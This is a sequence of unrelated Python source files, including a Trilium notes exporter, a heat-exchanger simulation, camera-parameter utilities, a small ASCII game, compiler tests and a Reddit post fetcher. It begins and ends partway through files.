            path = os.path.join(
                *[i for i in path.split(os.sep) if not i == ".."])
            return path
        else:
            return path

    def _resolve_links(self):
        soup = bs4.BeautifulSoup(self.doc, "html.parser")
        for l in soup.find_all("a"):
            if re.match("^[a-z]*?://.*", l["href"]):
                continue
            lnk = self._resolve_link(unquote_plus(l["href"]))
            key = self._pathtuple(lnk)
            l["href"] = "#root"
            for k in self.idmap.keys():
                if any([x in k for x in key]):
                    l["href"] = "#" + self.idmap[k]

        for i in soup.find_all("img"):
            if re.match("^[a-z]*?://.*", i["src"]) or i["src"].startswith("data:"):
                continue
            lnk = self._resolve_link(unquote_plus(i["src"]))
            key = self._pathtuple(lnk)
            i["src"] = ""
            for k in self.idmap.keys():
                if any([x in k for x in key]):
                    i["src"] = self.idmap[k]

        return str(soup)

    def export(self, preserve=False) -> str:
        info("Extracting zip file into temporary directory...")
        self.tempdir = self._extract()
        info("Analyzing export metadata")
        self.meta = self._analyze_metadata()
        self.doc = self._generate_html().render()
        self.doc = self._resolve_links()

        with tempfile.NamedTemporaryFile("r+", suffix=".html") as f:
            f.write(self.doc)
            f.flush()
            webbrowser.open(f"file://{f.name}")
            time.sleep(1)

        info("Cleaning up...")
        self.tempdir.cleanup()
        if not preserve:
            os.remove(self.source)

if __name__ == "__main__":
    parser = ArgumentParser(
        description="Parse a compressed MD export of Trilium notes, then convert to a web page for easy download"
    )
    parser.add_argument(
        "source", metavar="S", type=str, help="Path to source .zip file."
    )
    parser.add_argument(
        "-p",
        "--preserve",
        help="Whether to preserve the source zip file. Defaults to false.",
        action="store_true",
    )
    parser.add_argument(
        "-m",
        "--motd",
        type=str,
        help="Message to display under main title",
        default=None,
    )

    args = parser.parse_args()
    exporter = TriliumPdfExporter(args.source, args.motd)
    exporter.export(preserve=args.preserve)


import pygame as pg

from gui.widgets.animated_widget import AnimatedWidget
from data.constants import *

class BackgroundImage(AnimatedWidget):
    def __init__(self, x, y, w, h, image):
        super().__init__()
        self.pos = x, y
        self.image = pg.transform.smoothscale(pg.image.load(image).convert_alpha(), (w, h))

    def update(self, dt, animation_state=WAIT, time_elapsed=0.0):
        if animation_state == WAIT and self.image.get_alpha() !=255:
            self.image.set_alpha(255)
        elif animation_state == OPEN:
            self.image.set_alpha(round(255 * time_elapsed))
        elif animation_state == CLOSE:
            self.image.set_alpha(round(255 * (1 - time_elapsed)))

    def draw(self, screen, animation_state=WAIT):
        screen.blit(self.image, self.pos)

__all__ = ["BackgroundImage"]


# Sun Oct 27 15:40:29 2019
import numpy as np
import matplotlib.pyplot as plt
import matplotlib as mpl
# Configurations
mpl.rcParams['font.family'] = 'serif'
mpl.rcParams['font.size'] = 20
mpl.rcParams['font.weight'] = 'medium'
mpl.rcParams['font.style'] = 'normal'
mpl.rcParams['font.serif'] = 'DejaVu Serif'
mpl.rcParams['mathtext.fontset'] = 'stix'
mpl.rcParams['mathtext.fallback_to_cm'] = True
mpl.rcParams['lines.linewidth'] = 2
mpl.rcParams['savefig.dpi'] = 300
mpl.rcParams['savefig.bbox'] = 'tight'

###################### thermophysical prop ##################
cL = 4183.0
cS = 700.0
rhoL = 994.0  # kg/m3
rhoS = 7850.0 # kg/m3
h = 12000.0 # W/m2 K
kappaL = 0.682
kappaS = 1.3
###################### constants ############################
TH0 = 45
TC0 = 10
Ri = 0.05  # inner radius
Rs = 0.06
Ro = 0.08  # outer radius
pi = np.pi
Ac = pi * Ri**2
As = pi * Rs**2 - Ac
Ah = pi * Ro**2 - pi * Rs**2
L = 6.0  # length
S1 = L * pi * 2 * Rs
S2 = L * pi * 2 * Ri
uh = 0.3
uc = 0.3
Qh = uh * Ah
Qc = uc * Ac

dt = 0.01
t = np.arange(0, 200+dt, dt)
Th2 = np.zeros(len(t))
Tc2 = np.zeros(len(t))
Th2[0] = TH0
Tc2[0] = TC0

nx = 50
dx = L / nx
x = np.arange(dx/2, L+dx/2, dx)
TH = np.zeros(nx)
TS = np.zeros(nx)
TC = np.zeros(nx)
TH[:] = TH0
TS[:] = 0.5 * (TH0 + TC0)
TC[:] = TC0

TH_prev = TH.copy()
TS_prev = TS.copy()
TC_prev = TC.copy()

Th1 = np.zeros(len(t))
Tc1 = np.zeros(len(t))
Th1[:] = TH0
Tc1[:] = TC0
idx = int(100/dt)
Th1[idx::] = TH0 + 10
Tc1[idx::] = TC0

Si1 = S1 / nx
Si2 = S2 / nx

for it in range(len(t)-1):
    rhs = Qh * cL * rhoL * (Th1[it] - TH_prev[0]) - h * Si1 * (TH_prev[0] - TS_prev[0])
    rhs = rhs - kappaL * Ah  * (TH_prev[0] - TH_prev[1]) / dx
    temp = rhs * dt / (cL * rhoL * Ah * dx)
    TH[0] = TH_prev[0] + temp

    rhs = h * Si1 * (TH_prev[0] - TS_prev[0]) - h * Si2 * (TS_prev[0] - TC_prev[-1])
    rhs = rhs - kappaS * As * (TS_prev[0] - TS_prev[1]) / dx
    temp = rhs * dt / (cS * rhoS * As * dx)
    TS[0] = TS_prev[0] + temp

    rhs = Qc * cL * rhoL * (Tc1[it] - TC_prev[0]) + h * Si2 * (TS_prev[-1] - TC_prev[0])
    rhs = rhs - kappaL * Ac * (TC_prev[0] - TC_prev[1]) / dx
    temp = rhs * dt / (cL * rhoL * Ac * dx)
    TC[0] = TC_prev[0] + temp

    for ix in range(1,nx-1):
        rhs = Qh * cL * rhoL * (TH_prev[ix-1] - TH_prev[ix]) - h * Si1 * (TH_prev[ix] - TS_prev[ix])
        rhs = rhs + kappaL * Ah * (TH_prev[ix-1] - TH_prev[ix]) / dx - kappaL * Ah * (TH_prev[ix] - TH_prev[ix+1]) / dx
        temp = rhs * dt / (cL * rhoL * Ah * dx)
        TH[ix] = TH_prev[ix] + temp

        rhs = h * Si1 * (TH_prev[ix] - TS_prev[ix]) - h * Si2 * (TS_prev[ix] - TC_prev[nx-ix-1])
        rhs = rhs + kappaS * As * (TS_prev[ix-1] - TS_prev[ix]) / dx - kappaS * As * (TS_prev[ix] - TS_prev[ix+1]) / dx
        temp = rhs * dt / (cS * rhoS * As * dx)
        TS[ix] = TS_prev[ix] + temp

        rhs = Qc * cL * rhoL * (TC_prev[ix-1] - TC_prev[ix]) + h * Si2 * (TS_prev[nx-ix-1] - TC[ix])
        rhs = rhs + kappaL * Ac * (TC_prev[ix-1] - TC_prev[ix]) / dx - kappaL * Ac * (TC_prev[ix] - TC_prev[ix+1]) / dx
        temp = rhs * dt / (cL * rhoL * Ac * dx)
        TC[ix] = TC_prev[ix] + temp

    rhs = Qh * cL * rhoL * (TH_prev[-2] - TH_prev[-1]) - h * Si1 * (TH_prev[-1] - TS_prev[-1])
    rhs = rhs + kappaL * Ah * (TH_prev[-2] - TH_prev[-1]) / dx
    temp = rhs * dt / (cL * rhoL * Ah * dx)
    TH[-1] = TH_prev[-1] + temp

    rhs = h * Si1 * (TH_prev[-1] - TS_prev[-1]) - h * Si2 * (TS_prev[-1] - TC_prev[0])
    rhs = rhs + kappaS * As * (TS_prev[-2] - TS_prev[-1]) / dx
    temp = rhs * dt / (cS * rhoS * As * dx)
    TS[-1] = TS_prev[-1] + temp

    rhs = Qc * cL * rhoL * (TC_prev[-2] - TC_prev[-1]) + h * Si2 * (TS_prev[0] - TC_prev[-1])
    rhs = rhs + kappaL * Ac * (TC_prev[-2] - TC_prev[-1]) / dx
    temp = rhs * dt / (cL * rhoL * Ac * dx)
    TC[-1] = TC_prev[-1] + temp

    for j in range(0,nx):
        TH_prev[j] = TH[j]
        TS_prev[j] = TS[j]
        TC_prev[j] = TC[j]

    Th2[it+1] = TH[-1]
    Tc2[it+1] = TC[-1]

fig = plt.figure(figsize = (10,7))
ax = plt.subplot(111)
ax.plot(t, Th1, label = 'Hot in')
ax.plot(t, Tc1, label = 'Cold in')
ax.plot(t, Th2, label = 'Hot out')
ax.plot(t, Tc2, label = 'Cold out')
ax.set_xlabel('Time (s)')
ax.set_ylabel('Temperature (K)')
ax.legend(loc=0)
plt.show()

fig = plt.figure(figsize = (10,7))
ax = plt.subplot(111)
ax.plot(x, TH, label = 'Hot')
ax.plot(x, TS, label = 'Surface')
ax.plot(x, TC[::-1], label='Cold')
#ax.set_xlim(0,6)
ax.set_xlabel('X (m)')
ax.set_ylabel('Temperature (K)')
ax.legend(loc=0)
plt.show()


import random

def get_long_path_stage_groups(N, M, stage, lowest=2):
    """Find groups for a particular stage using long-path network.

    # Params
    N: Number of participants (integer, must be > 0).
    M: Group size (integer, must be >= 2).
    stage: Stage of deliberation (integer, must be >= 0).
    lowest: Begin with the first modulus >= lowest.

    # Returns
    A list, with each element a set of participant ids corresponding to a group.
    Participants are given integer ids in [0, N-1].

    """
    modulus = [
        1, 2,  3,  5,  7, 11, 13, 17, 19, 23, 29,
        31, 37, 41, 43, 47, 53, 59, 61, 67, 71,
        73, 79, 83, 89, 97,101,103,107,109,113,
        127,131,137,139,149,151,157,163,167,173,
        179,181,191,193,197,199,211,223,227,229,
        233,239,241,251,257,263,269,271,277,281,
        283,293,307,311,313,317,331,337,347,349,
        353,359,367,373,379,383,389,397,401,409,
        419,421,431,433,439,443,449,457,461,463,
        467,479,487,491,499,503,509,521,523,541,
        547,557,563,569,571,577,587,593,599,601,
        607,613,617,619,631,641,643,647,653,659,
        661,673,677,683,691,701,709,719,727,733,
        739,743,751,757,761,769,773,787,797,809,
        811,821,823,827,829,839,853,857,859,863,
        877,881,883,887,907,911,919,929,937,941,
        947,953,967,971,977,983,991,997,1009,1013
    ]

    # Remove excluded moduli
    if lowest is not None and lowest > 1:
        modulus = [1] + [x for x in modulus if x >= lowest]

    # If stage is too high, modulus sets will be smaller than M
    # Correct for the above by resetting stage after an upper limit
    num_groups = int(N / M)
    num_moduli = [i for i, m in enumerate(modulus) if m > num_groups][0]
    stage = stage % num_moduli

    if stage == 0:
        m = 1
    else:
        m = modulus[stage]
    partition = []
    for j in range(m):
        # Generate
        residue_class = [n for n in range(N) if n % m == j]
        chunks = [
            set(residue_class[k:k+M])
            for k in range(0, len(residue_class), M)]
        partition += chunks
    return partition

def get_long_path_stages(N, M, D):
    """Find groups all stages using long-path network.

    # Params
    N: Number of participants (integer, must be > 0).
    M: Group size (integer, must be >= 2).
    D: Number of stages (integer, must be > 0).

    # Returns
    A list of D elements.
    Each element is a list as returned by get_long_path_stage_groups().

    """
    stages = []
    for i in range(D):
        groups = get_long_path_stage_groups(N, M, i)
        stages.append(groups)
    return stages

def get_random_stage_groups(N, M, i):
    """Find groups for a particular stage using random network.

    # Params
    N: Number of participants (integer, must be > 0).
    M: Group size (integer, must be >= 2).
    stage: Stage of deliberation (integer, must be >= 0).

    # Returns
    A list, with each element a set of participant ids corresponding to a group.
    Participants are given integer ids in [0, N-1].

    """
    nodes = list(range(N))
    random.shuffle(nodes)
    groups = [set(nodes[k:k+M]) for k in range(0, N, M)]
    return groups

def get_random_groups(N, M, D):
    """Find groups all stages using long-path network.

    # Params
    N: Number of participants (integer, must be > 0).
    M: Group size (integer, must be >= 2).
    D: Number of stages (integer, must be > 0).

    # Returns
    A list of D elements.
    Each element is a list as returned by get_random_stage_groups().
    """
    groups = sum([get_random_stage_groups(N, M, i) for i in range(D)], [])
    return groups


#!/usr/bin/env python
# -*- coding: utf-8 -*-

from rtm.executor import LoopMaster

__author__ = 'David Qian'

"""
Created on 02/15/2017
@author: David Qian

"""

if __name__ == '__main__':
    cmd = './test/test.sh'
    restart_time = '0'
    workdir = None

    master = LoopMaster(cmd, restart_time, workdir)
    master.run()


import json
from typing import Any, List

import numpy as np
import torch

from mmhuman3d.core.conventions.cameras import (
    convert_cameras,
    convert_K_3x3_to_4x4,
    convert_K_4x4_to_3x3,
)

class CameraParameter:

    def __init__(self,
                 name: str = 'default',
                 H: int = 1080,
                 W: int = 1920) -> None:
        """
        Args:
            name (str, optional):
                Name of this camera. Defaults to "default".
            H (int, optional):
                Height of a frame, in pixel. Defaults to 1080.
            W (int, optional):
                Width of a frame, in pixel. Defaults to 1920.
        """
        self.name = name
        self.parameters_dict = {}
        in_mat = __zero_mat_list__(3)
        self.parameters_dict['in_mat'] = in_mat
        for distort_name in __distort_coefficient_names__:
            self.parameters_dict[distort_name] = 0.0
        self.parameters_dict['H'] = H
        self.parameters_dict['W'] = W
        r_mat = __zero_mat_list__(3)
        self.parameters_dict['rotation_mat'] = r_mat
        t_list = [0.0, 0.0, 0.0]
        self.parameters_dict['translation'] = t_list

    def reset_distort(self):
        """Reset all distort coefficients to zero."""
        for distort_name in __distort_coefficient_names__:
            self.parameters_dict[distort_name] = 0.0

    def get_opencv_distort_mat(self):
        """Get a numpy array of 8 distort coefficients, which is the distCoeffs
        arg of cv2.undistort.

        Returns:
            ndarray:
                (k_1, k_2, p_1, p_2, k_3, k_4, k_5, k_6) of 8 elements.
        """
        dist_coeffs = [
            self.get_value('k1'),
            self.get_value('k2'),
            self.get_value('p1'),
            self.get_value('p2'),
            self.get_value('k3'),
            self.get_value('k4'),
            self.get_value('k5'),
            self.get_value('k6'),
        ]
        dist_coeffs = np.array(dist_coeffs)
        return dist_coeffs

    def set_K_R_T(self,
                  K_mat: np.ndarray,
                  R_mat: np.ndarray,
                  T_vec: np.ndarray,
                  inverse_extrinsic: bool = False) -> None:
        """Set intrinsic and extrinsic of a camera.

        Args:
            K_mat (np.ndarray):
                In shape [3, 3].
            R_mat (np.ndarray):
                Rotation from world to view in default.
                In shape [3, 3].
            T_vec (np.ndarray):
                Translation from world to view in default.
                In shape [3,].
            inverse_extrinsic (bool, optional):
                If true, R_mat and T_vec transform a point
                from view to world. Defaults to False.
        """
        k_shape = K_mat.shape
        assert k_shape[0] == k_shape[1] == 3
        r_shape = R_mat.shape
        assert r_shape[0] == r_shape[1] == 3
        assert T_vec.ndim == 1 and T_vec.shape[0] == 3
        self.set_mat_np('in_mat', K_mat)
        if inverse_extrinsic:
            R_mat = np.linalg.inv(R_mat)
            T_vec = -np.dot(R_mat, T_vec).reshape((3))
        self.set_mat_np('rotation_mat', R_mat)
        self.set_value('translation', T_vec.tolist())

    def set_mat_np(self, mat_key: str, mat_numpy: np.ndarray) -> None:
        """Set a matrix-type parameter to mat_numpy.

        Args:
            mat_key (str):
                Key of the target matrix. in_mat or rotation_mat.
            mat_numpy (ndarray):
                Matrix in numpy format.
        Raises:
            KeyError: mat_key not in self.parameters_dict
        """
        if mat_key not in self.parameters_dict:
            raise KeyError(mat_key)
        else:
            self.parameters_dict[mat_key] = mat_numpy.tolist()

    def set_mat_list(self, mat_key: str, mat_list: List[list]) -> None:
        """Set a matrix-type parameter to mat_list.

        Args:
            mat_key (str):
                Key of the target matrix. in_mat or rotation_mat.
            mat_list (List[list]):
                Matrix in list format.
        Raises:
            KeyError: mat_key not in self.parameters_dict
        """
        if mat_key not in self.parameters_dict:
            raise KeyError(mat_key)
        else:
            self.parameters_dict[mat_key] = mat_list

    def set_value(self, key: str, value: Any) -> None:
        """Set a parameter to value.

        Args:
            key (str):
                Name of the parameter.
            value (object):
                New value of the parameter.

        Raises:
            KeyError: key not in self.parameters_dict
        """
        if key not in self.parameters_dict:
            raise KeyError(key)
        else:
            self.parameters_dict[key] = value

    def get_value(self, key: str) -> Any:
        """Get a parameter by key.

        Args:
            key (str):
                Name of the parameter.
        Raises:
            KeyError: key not in self.parameters_dict

        Returns:
            object:
                Value of the parameter.
        """
        if key not in self.parameters_dict:
            raise KeyError(key)
        else:
            return self.parameters_dict[key]

    def get_mat_np(self, key: str) -> Any:
        """Get a a matrix-type parameter by key.

        Args:
            key (str):
                Name of the parameter.
        Raises:
            KeyError: key not in self.parameters_dict

        Returns:
            object:
                Value of the parameter.
        """
        if key not in self.parameters_dict:
            raise KeyError(key)
        else:
            mat_list = self.parameters_dict[key]
            mat_np = np.array(mat_list).reshape((3, 3))
            return mat_np

    def to_string(self) -> str:
        """Convert self.to_dict() to a string.

        Returns:
            str:
                A dict in json string format.
        """
        dump_dict = self.to_dict()
        ret_str = json.dumps(dump_dict)
        return ret_str

    def to_dict(self) -> dict:
        """Dump camera name and parameters to dict.

        Returns:
            dict:
                Put self.name and self.parameters_dict
                in one dict.
        """
        dump_dict = self.parameters_dict.copy()
        dump_dict['name'] = self.name
        return dump_dict

    def dump(self, json_path: str) -> None:
        """Dump camera name and parameters to a file.

        Returns:
            dict:
                Put self.name and self.parameters_dict
                in one dict, and dump them to a json file.
        """
        dump_dict = self.to_dict()
        with open(json_path, 'w') as f_write:
            json.dump(dump_dict, f_write)

    def load(self, json_path: str) -> None:
        """Load camera name and parameters from a file."""
        with open(json_path, 'r') as f_read:
            dumped_dict = json.load(f_read)
        self.load_from_dict(dumped_dict)

    def load_from_dict(self, json_dict: dict) -> None:
        """Load name and parameters from a dict.

        Args:
            json_dict (dict):
                A dict comes from self.to_dict().
        """
        for key in json_dict.keys():
            if key == 'name':
                self.name = json_dict[key]
            elif key == 'rotation':
                self.parameters_dict['rotation_mat'] = np.array(
                    json_dict[key]).reshape(3, 3).tolist()
            elif key == 'translation':
                self.parameters_dict[key] = np.array(json_dict[key]).reshape(
                    (3)).tolist()
            else:
                self.parameters_dict[key] = json_dict[key]
                if '_mat' in key:
                    self.parameters_dict[key] = np.array(
                        self.parameters_dict[key]).reshape(3, 3).tolist()

    def load_from_chessboard(self,
                             chessboard_dict: dict,
                             name: str,
                             inverse: bool = True) -> None:
        """Load name and parameters from a dict.

        Args:
            chessboard_dict (dict):
                A dict loaded from json.load(chessboard_file).
            name (str):
                Name of this camera.
            inverse (bool, optional):
                Whether to inverse rotation and translation mat.
                Defaults to False.
        """
        camera_param_dict = \
            __parse_chessboard_param__(chessboard_dict, name, inverse=inverse)
        self.load_from_dict(camera_param_dict)

    def load_from_vibe(self,
                       vibe_camera,
                       name: str,
                       batch_index: int = 0) -> None:
        """Load name and parameters from a dict.

        Args:
            vibe_camera (mmhuman3d.core.cameras.
            cameras.WeakPerspectiveCamerasVibe):
                An instance.
            name (str):
                Name of this camera.
        """
        height = self.parameters_dict['H']
        width = self.parameters_dict['W']
        k_4x4 = vibe_camera.K[batch_index:batch_index + 1]  # shape (1, 4, 4)
        r_3x3 = vibe_camera.R[batch_index:batch_index + 1]  # shape (1, 3, 3)
        t_3 = vibe_camera.T[batch_index:batch_index + 1]  # shape (1, 3)
        new_K, new_R, new_T = convert_cameras(
            K=k_4x4,
            R=r_3x3,
            T=t_3,
            is_perspective=False,
            convention_src='pytorch3d',
            convention_dst='opencv',
            resolution_src=(height, width),
            resolution_dst=(height, width))
        k_3x3 = \
            convert_K_4x4_to_3x3(new_K, is_perspective=False)
        k_3x3.numpy().squeeze(0)
        r_3x3 = new_R.numpy().squeeze(0)
        t_3 = new_T.numpy().squeeze(0)
        self.name = name
        self.set_mat_np('in_mat', k_3x3)
        self.set_mat_np('rotation_mat', r_3x3)
        self.set_value('translation', t_3.tolist())

    def get_vibe_dict(self) -> dict:
        """Get a dict of camera parameters, which contains all necessary args
        for mmhuman3d.core.cameras.cameras.WeakPerspectiveCamerasVibe(). Use mm
        human3d.core.cameras.cameras.WeakPerspectiveCamerasVibe(**return_dict)
        to construct a camera.

        Returns:
            dict:
                A dict of camera parameters: name, dist, size, matrix, etc.
        """
        height = self.parameters_dict['H']
        width = self.parameters_dict['W']
        k_3x3 = self.get_mat_np('in_mat')  # shape (3, 3)
        k_3x3 = np.expand_dims(k_3x3, 0)  # shape (1, 3, 3)
        k_4x4 = convert_K_3x3_to_4x4(
            K=k_3x3, is_perspective=False)  # shape (1, 4, 4)
        rotation = self.get_mat_np('rotation_mat')  # shape (3, 3)
        rotation = np.expand_dims(rotation, 0)  # shape (1, 3, 3)
        translation = self.get_value('translation')  # list, len==3
        translation = np.asarray(translation)
        translation = np.expand_dims(translation, 0)  # shape (1, 3)
        new_K, new_R, new_T = convert_cameras(
            K=k_4x4,
            R=rotation,
            T=translation,
            is_perspective=False,
            convention_src='opencv',
            convention_dst='pytorch3d',
            resolution_src=(height, width),
            resolution_dst=(height, width))
        new_K = torch.from_numpy(new_K)
        new_R = torch.from_numpy(new_R)
        new_T = torch.from_numpy(new_T)
        ret_dict = {
            'K': new_K,
            'R': new_R,
            'T': new_T,
        }
        return ret_dict

def __parse_chessboard_param__(chessboard_camera_param, name, inverse=True):
    """Parse a dict loaded from chessboard file into another dict needed by
    CameraParameter.

    Args:
        chessboard_camera_param (dict):
            A dict loaded from json.load(chessboard_file).
        name (str):
            Name of this camera.
        inverse (bool, optional):
            Whether to inverse rotation and translation mat.
            Defaults to True.

    Returns:
        dict:
            A dict of parameters in CameraParameter.to_dict() format.
    """
    camera_param_dict = {}
    camera_param_dict['H'] = chessboard_camera_param['imgSize'][1]
    camera_param_dict['W'] = chessboard_camera_param['imgSize'][0]
    camera_param_dict['in_mat'] = chessboard_camera_param['K']
    camera_param_dict['k1'] = 0
    camera_param_dict['k2'] = 0
    camera_param_dict['k3'] = 0
    camera_param_dict['k4'] = 0
    camera_param_dict['k5'] = 0
    camera_param_dict['p1'] = 0
    camera_param_dict['p2'] = 0
    camera_param_dict['name'] = name
    camera_param_dict['rotation'] = chessboard_camera_param['R']
    camera_param_dict['translation'] = chessboard_camera_param['T']
    if inverse:
        rmatrix = np.linalg.inv(
            np.array(camera_param_dict['rotation']).reshape(3, 3))
        camera_param_dict['rotation'] = rmatrix.tolist()
        tmatrix = np.array(camera_param_dict['translation']).reshape((3, 1))
        tvec = -np.dot(rmatrix, tmatrix)
        camera_param_dict['translation'] = tvec.reshape((3)).tolist()
    return camera_param_dict

__distort_coefficient_names__ = [
    'k1', 'k2', 'k3', 'k4', 'k5', 'k6', 'p1', 'p2'
]

def __zero_mat_list__(n=3):
    """Return a zero mat in list format.

    Args:
        n (int, optional):
            Length of the edge.
            Defaults to 3.

    Returns:
        list:
            List[List[int]]
    """
    ret_list = [[0] * n for _ in range(n)]
    return ret_list


# Very simplified version with ASCII-based graphics
import random

class KnockoutLite:
    board_len = 3
    num_penguins = 1
    num_players = 2

    dead_flag = ['dead']
    is_dead = lambda p : p == ['dead']

    def __init__(self):
        self.penguins = []
        self.move_number = 1

        for i in range(KnockoutLite.num_players * KnockoutLite.num_penguins):
            self.penguins.append([random.randrange(KnockoutLite.board_len), random.randrange(KnockoutLite.board_len)])

    def display_game_results(self):
        if any(map(KnockoutLite.is_dead, self.penguins)):
            if all(map(KnockoutLite.is_dead, self.penguins)):
                print("It's a tie! (both players died)")
            elif KnockoutLite.is_dead(self.penguins[0]):
                print("Player 2 wins.")
            else:
                print("Player 1 wins.")
        else:
            print("Game is still running...")

    def is_in_board(self, penguin_idx):
        penguin = self.penguins[penguin_idx]
        if KnockoutLite.is_dead(penguin):
            return False

        in_board = True
        for dim in range(2):
            in_board = in_board and penguin[dim] >= 0 and penguin[dim] < KnockoutLite.board_len
        return in_board

    def draw_board(self):
        self.board = [['-' for r in range(KnockoutLite.board_len)] for c in range(KnockoutLite.board_len)]

        check_and_update = lambda curr, new : curr + new if curr != '-' else new

        for p_idx in range(len(self.penguins)):
            p = self.penguins[p_idx]
            if self.is_in_board(p_idx):
                symbol = 'X' if p_idx // KnockoutLite.num_penguins == 0 else 'O'
                self.board[p[0]][p[1]] = check_and_update(self.board[p[0]][p[1]], symbol)

        for r in self.board:
            print(' '.join(r))

        # Print a new line
        print()

    @staticmethod
    def swap_elems(lst, i, j):
        temp = lst[i]
        lst[i] = lst[j]
        lst[j] = temp

    def move_penguin(self, penguin_idx, direction):
        for dim in range(2):
            self.penguins[penguin_idx][dim] += direction[dim]

    # Returns whether game can continue after executed play
    def execute_play(self, directions, powers):
        print("-"*8 + " Executing play number " + str(self.move_number) + " " + "-"*8)
        p1_prev = self.penguins[0].copy()
        p2_prev = self.penguins[1].copy()
        player_is_out = False

        while max(powers) > 0:
            for p_idx in range(KnockoutLite.num_players):
                if powers[p_idx] > 0 and not KnockoutLite.is_dead(self.penguins[p_idx]):
                    self.move_penguin(p_idx, directions[p_idx])
                    powers[p_idx] -= 1
                    if not self.is_in_board(p_idx):
                        self.penguins[p_idx] = KnockoutLite.dead_flag
                        player_is_out = True

            # Emulate collisions by simply switching the velocities on impact
            # (physically accurate since momentum is conserved)
            if not player_is_out and (self.penguins[0] == self.penguins[1] or (self.penguins[0] == p2_prev and self.penguins[1] == p1_prev)):
                KnockoutLite.swap_elems(directions, 0, 1)
                KnockoutLite.swap_elems(powers, 0, 1)
                if self.penguins[0] != self.penguins[1]:
                    KnockoutLite.swap_elems(self.penguins, 0, 1)
                    powers = list(map(lambda x: x + 1, powers))
            elif all(map(KnockoutLite.is_dead, self.penguins)):
                return False

            self.draw_board()
            p1_prev = self.penguins[0].copy()
            p2_prev = self.penguins[1].copy()

        self.move_number += 1
        return not player_is_out

# Running the game
def update_game_params(p_inps, directions, powers):
    directions.append([-int(p_inps[1]), int(p_inps[0])])
    powers.append(int(p_inps[2]))

if __name__ == '__main__':
    game = KnockoutLite()

    run_game = True
    print("Welcome, Player 1 is 'X', Player 2 is 'O'. The positive x and y directions are right and up, respectively. Each input line consists of 3 ** integers ** seperated by spaces. Each direction dimension's range is [-1, 1]. The power must be in the range [1, 3].")
    game.draw_board()

    while run_game:
        directions = []
        powers = []

        print("Enter Player 1 direction and power: dirx diry pow ")
        p1_inps = input().split(" ")

        print("Enter Player 2 direction and power: dirx diry pow")
        p2_inps = input().split(" ")

        update_game_params(p1_inps, directions, powers)
        update_game_params(p2_inps, directions, powers)

        run_game = game.execute_play(directions, powers)

    game.display_game_results()


"""Assorted algorithms to verify end-to-end compiler functionality.

These tests include:
 - Sum of array of integers
 - Recursive Fibonacci sum
"""

import pytest
import tempfile
import functools
import os

from acctools import compilers

ACC_PATH=os.environ.get("ACC_PATH", os.path.join(os.path.dirname(__file__), "../build/acc"))

COMPILERS = [
    compilers.GccCompiler,
    functools.partial(compilers.AccIrCompiler, ACC_PATH, regalloc=False),
    functools.partial(compilers.AccIrCompiler, ACC_PATH, regalloc=True),
    functools.partial(compilers.AccAsmCompiler, ACC_PATH)
]

@pytest.fixture(params=COMPILERS)
def cc(request):
    with tempfile.NamedTemporaryFile() as temp_file:
        return request.param(temp_file.name)

CALCULATE_SUM = """
int calc_sum(unsigned char * arr, int n)
{
    int i = 0, tot = 0;
    while(i < n)
    {
        tot += arr[i++];
    }
    return tot;
}
int main()
{
    unsigned char arr[7];
    arr[0] = 1;
    arr[1] = 2;
    arr[2] = 4;
    arr[3] = 8;
    arr[4] = 16;
    arr[5] = 32;
    arr[6] = 64;

    return calc_sum(arr, 7);
}
"""

def test_calculate_array_sum(cc):
    cc.program(CALCULATE_SUM, returncode=127);

FIBONACCI = """
int fib(int n)
{
    if(n == 0) return 1;
    if(n == 1) return 1;
    return fib(n-1) + fib(n-2);
}
int main()
{
    int i = 0, tot = 0;
    while(i < 10)
    {
        tot += fib(i);
        i++;
    }
    return tot;
}
"""

def test_fibonacci(cc):
    cc.program(FIBONACCI, returncode=143)

INSERTION_SORT = """
int sort(int * arr, int n)
{
    int i = 1;
    while(i < n)
    {
        int t = arr[i];
        int j = i - 1;
        while((t < arr[j]) & (j != -1))
        {
            arr[j+1] = arr[j];
            j--;
        }
        arr[j+1] = t;
        i++;
    }
}
int main()
{
    int l[10];
    l[0] = 3;
    l[1] = 8;
    l[2] = 9;
    l[3] = 121;
    l[4] = 28;
    l[5] = 1;
    l[6] = 89;
    l[7] = 90;
    l[8] = 104;
    l[9] = 101;

    sort(l, 10);
    return (l[0] != 1) | (l[9] != 121);
}
"""

def test_sort(cc):
    cc.program(INSERTION_SORT)


#!/usr/bin/python3

"""
Prints the titles of the first 10 hot posts listed for a given subreddit
"""

import requests

def top_ten(subreddit):
    """
    Prints the titles of the first
    10 hot posts listed for a given subreddit
    """

    if subreddit is None or not isinstance(subreddit, str):
        print("None")

    user_agent = {'User-agent': 'Google Chrome Version 81.0.4044.129'}
    params = {'limit': 10}
    url = 'https://www.reddit.com/r/{}/hot/.json'.format(subreddit)

    response = requests.get(url, headers=user_agent, params=params)
    results = response.json()

    try:
        my_data = results['data']['children']

        for i in my_data:
            print(i['data']['title'])

    except Exception:
        print("None")


import logging
import warnings
import torch
import numpy as np

from data import data_utils
from data.ofa_dataset import OFADataset

logger = logging.getLogger(__name__)
warnings.filterwarnings("ignore", "(Possibly )?corrupt EXIF data", UserWarning)

def collate(samples, pad_idx, eos_idx):
    if len(samples) == 0:
        return {}

    def merge(key):
        return data_utils.collate_tokens(
            [s[key] for s in samples],
            pad_idx,
            eos_idx=eos_idx,
        )

    src_tokens = merge("source")
    src_lengths = torch.LongTensor([s["source"].ne(pad_idx).long().sum() for s in samples])

    prev_output_tokens = None
    target = None
    if samples[0].get("target", None) is not None:
        target = merge("target")
        tgt_lengths = torch.LongTensor(
            [s["target"].ne(pad_idx).long().sum() for s in samples]
        )
        ntokens = tgt_lengths.sum().item()

        if samples[0].get("prev_output_tokens", None) is not None:
            prev_output_tokens = merge("prev_output_tokens")
    else:
        ntokens = src_lengths.sum().item()

    target_strs = np.array([s["target_str"] for s in samples])

    batch = {
        "nsentences": len(samples),
        "ntokens": ntokens,
        "net_input": {
            "src_tokens": src_tokens,
            "src_lengths": src_lengths,
            "prev_output_tokens": prev_output_tokens
        },
        "target": target,
        "target_strs": target_strs
    }

    return batch

class SummaryDataset(OFADataset):
    def __init__(
            self,
            split,
            dataset,
            bpe,
            src_dict,
            tgt_dict=None,
            code_dict_size=8192,
            num_bins=1000,
            max_src_length=512,
            max_tgt_length=128,
            noise_ratio=0.0,
            description='base'
    ):
        super().__init__(split, dataset, bpe, src_dict, tgt_dict)
        self.max_src_length = max_src_length
        self.max_tgt_length = max_tgt_length
        self.code_dict_size = code_dict_size
        self.num_bins = num_bins
        self.noise_ratio = noise_ratio
        self.description = description
        if type(bpe).__name__ == 'GPT2BPE':
